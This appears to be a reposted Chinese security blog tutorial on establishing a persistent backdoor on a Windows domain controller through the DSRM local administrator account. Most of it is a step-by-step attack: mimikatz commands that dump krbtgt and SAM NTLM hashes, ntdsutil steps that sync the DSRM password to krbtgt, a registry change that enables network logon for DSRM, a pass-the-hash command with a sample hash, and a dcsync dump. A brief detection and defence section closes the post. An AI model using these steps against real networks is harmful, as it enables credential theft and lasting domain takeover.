域渗透 | 域控权限维持DSRM域后门

admin 2023年8月1日12:12:17评论32 views字数 2265阅读7分33秒阅读模式

 文章来源:EchoSec


域渗透 | 域控权限维持DSRM域后门


0x01 前言


域渗透 | 域控权限维持DSRM域后门

    DSRM (Directory Services Restore Mode, 目录服务恢复模式)是 Windows 域环境中域控制器的安全模式启动选项。每个域控制器都有一个本地管理员账户(也就是 DSRM 账户)。DSRM 的用途是:允许管理员在域环境中出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常。在域环境创建初期,DSRM 的密码需要在安装 DC 时设置,且很少会被重置修改 DSRM 密码最基本的方法是在 DC 上运行 ntdsutil 命令行工具。

域渗透 | 域控权限维持DSRM域后门
域渗透 | 域控权限维持DSRM域后门

    在实战中,可以使用DSRM 账号对域环境进行持久化操作。如果域控制器的系统版本为Windows Server 2008,需要安装 KB961320 才可以使用指定域账号的密码对 DSRM 的密码进行同步。在 Windows Server 2008 以后版本的系统中不需要安装此补丁。DSRM 账号可以作为一个域控制器的本地管理员用户,通过网络连接蜮控制器,进而控制域控制器。

域渗透 | 域控权限维持DSRM域后门

 


0x02 利用前提


 

使用DSRM账户连接的前提

域渗透 | 域控权限维持DSRM域后门
域渗透 | 域控权限维持DSRM域后门

(1)系统要求:在安装了KB961320补丁的Windows Server 2008及之后的Windows Server版本开始支持在DC上使用指定的域帐户同步DSRM密码

(2)更改DSRM的密码方式:同步域用户的方式

(3)开启支持DSRM账户网络连接:需要修改注册表项,默认没有改项

域渗透 | 域控权限维持DSRM域后门
注册表命令:reg add "HKLMSystemCurrentControlSetControlLsa" /f /v DsrmAdminLogonBehavior /t REG_DWORD /d 2powershell命令:New-ItemProperty "hklm:systemcurrentcontrolsetcontrollsa" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD


域渗透 | 域控权限维持DSRM域后门

(4)需要一个域账户的hash

(5)并且需要注意是否会同步域账户(同步dsrm账户后,后门即失效)                 

(6)域控重启后会失效

域渗透 | 域控权限维持DSRM域后门

 


0x03 实操


 

获取Krbtgt的NTLM Hash

域渗透 | 域控权限维持DSRM域后门

privilege::debuglsadump::lsa /patch /name:krbtgt

域渗透 | 域控权限维持DSRM域后门


在域控中利用mimikatz查看并读取SAM文件中本地管理员的NTLM Hash

域渗透 | 域控权限维持DSRM域后门
token::elevatelsadump::sam

获取DSRM账号的NTLM Hash

域渗透 | 域控权限维持DSRM域后门


域渗透 | 域控权限维持DSRM域后门

修改/同步DSRM密码

域渗透 | 域控权限维持DSRM域后门

• NTDSUTIL:打开ntdsutil.set dsrm password:设置 DSRM 的密码。reset password on server null:在当前域控制器上恢复 DSRM 密码。• <PASSWORD>:修改后的密码。•q(第1次):退出 DSRM 密码设置模式。•q(第2次):退出 ndsutilo
域渗透 | 域控权限维持DSRM域后门

如果域控的系统版本为 Windows Server 2008(已安装 KB961320)及以上,可以将 DSRM密码同步为己存在的城账号密码。

域渗透 | 域控权限维持DSRM域后门

 

•NTDSUTIL:打开 ntdsutilo• SET DSRM PASSWORD:设置 DSRM的密码• SYNC FROM DOMAIN ACCOUNT domainusemame:使 DSRM 的密码和指定域用户的密码同步•重置DSRM 管理员密码:q• ntdsutl:q


DSRM账号和krbtgt的NTLM Hash同步

域渗透 | 域控权限维持DSRM域后门

域渗透 | 域控权限维持DSRM域后门


查看DSRM的NTLM Hash是否同步成功

域渗透 | 域控权限维持DSRM域后门

域渗透 | 域控权限维持DSRM域后门

修改DSRM登录方式

域渗透 | 域控权限维持DSRM域后门

0:默认值,只有当域控制器重启并进人DSRM 模式时,才可以使用 DSRM 管理员账号。1:只有当本地 AD、DS 服务停止时,才可以使用 DSRM管理员账号登录域控制器。2:在任何情况下,都可以使用 DSRM管理员账号登录域控制器。

在实战中,需要注意在 Windows Server 2000 以后版本的操作系统中,对DSRM 使用控制台登录域控进行了限制。如果要使用 DSRM 账号通过网络登录域控制器,需要将该值设置为2。我这里演示用PowerShell进行修改

域渗透 | 域控权限维持DSRM域后门
New-ItemProperty "hklm:systemcurrentcontrolsetcontrollsa" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD

域渗透 | 域控权限维持DSRM域后门


 

域渗透 | 域控权限维持DSRM域后门

使用DSRM账号访问域控

在域成员机器上就可以通过mimikatz,使用域控的本地Administrator账号哈希传递攻击域控了‍。

 

sekurlsa::pth /domain:OWA2010SP3 /user:administrator /ntlm:a3490225625b7bcb900495ca1d43913e

域渗透 | 域控权限维持DSRM域后门

注意,在这里,/domain 选项不是填写域名!而是域控的机器名(OWA2010SP3)一定要注意!

下图是个错误的演示

域渗透 | 域控权限维持DSRM域后门


域渗透 | 域控权限维持DSRM域后门

利用DSRM账号访问域控,使用dcsync功能远程转储krbtgt的NTLM Hash


域渗透 | 域控权限维持DSRM域后门



0x04 防御措施



定期检查注册表中用于控制 DSRM 登录方式的键值 HIKLMSystem CurrentContro Set Control Lsa DsrmAdminLogonBehavior,确认该键值为 1,或者删除该键值定期修改域中所有域控制器的 DSRM 账号。经常检查 DD 为 4794 的日志。尝试设置活动目录服务还原模式的管理员密码会被记录在4794 日志中


侵权请私聊公众号删文
域渗透 | 域控权限维持DSRM域后门

   学习更多技术,关注我:   

觉得文章不错给点个‘再看’吧

原文始发于微信公众号(编码安全研究):域渗透 | 域控权限维持DSRM域后门

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月1日12:12:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   域渗透 | 域控权限维持DSRM域后门http://cn-sec.com/archives/1923945.html

发表评论

匿名网友 填写信息